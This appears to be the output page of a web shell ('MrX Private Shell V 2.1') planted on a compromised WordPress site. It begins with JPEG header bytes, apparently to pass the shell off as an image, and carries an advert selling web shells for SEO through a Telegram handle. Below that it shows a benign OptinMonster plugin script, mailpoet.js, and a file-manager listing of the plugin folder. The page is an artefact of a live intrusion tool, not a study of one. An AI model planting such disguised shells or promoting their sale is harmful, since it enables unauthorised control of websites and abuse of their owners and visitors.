����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* ==========================================================
* mailpoet.js
* ==========================================================
* Copyright 2022 Awesome Motive.
* https://awesomemotive.com
* ========================================================== */
jQuery(document).ready(function ($) {
// Default Campaigns
document.addEventListener('om.Optin.init.submit', function (event) {
var campaign = event.detail.Campaign;
var optin = event.detail.Optin;
$.each(omapi_localized.slugs, function (i, v) {
if (!v.mailpoet) {
return;
}
if (i !== campaign.id) {
return;
}
// Send a request to force optin to work even if no provider is set.
var data = optin.data;
data.optin = campaign.id;
if (data.fields) {
$.extend(data, data.fields);
}
// Post to MailPoet.
postToMailPoet(data);
return false;
});
});
function postToMailPoet(data) {
// Now make an ajax request to make the optin locally.
$.post(
omapi_localized.ajax,
{
action: 'mailpoet',
nonce: omapi_localized.nonce,
no_provider: true,
optinData: data,
},
function () {},
'json'
);
}
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Elementor | Folder | 0755 |
|
|
| Utils | Folder | 0755 |
|
|
| admin.js | File | 1.08 KB | 0644 |
|
| block.json | File | 476 B | 0644 |
|
| editor.js | File | 11.13 KB | 0644 |
|
| elementor.js | File | 4.26 KB | 0644 |
|
| global.js | File | 1.86 KB | 0644 |
|
| helper.js | File | 4.35 KB | 0644 |
|
| mailpoet.js | File | 1.13 KB | 0644 |
|
| metabox.js | File | 1.88 KB | 0644 |
|
| om-format.js | File | 617 B | 0644 |
|
| om-settings.js | File | 632 B | 0644 |
|
| plugininstall.js | File | 2.06 KB | 0644 |
|
| wc-marketing.js | File | 1.53 KB | 0644 |
|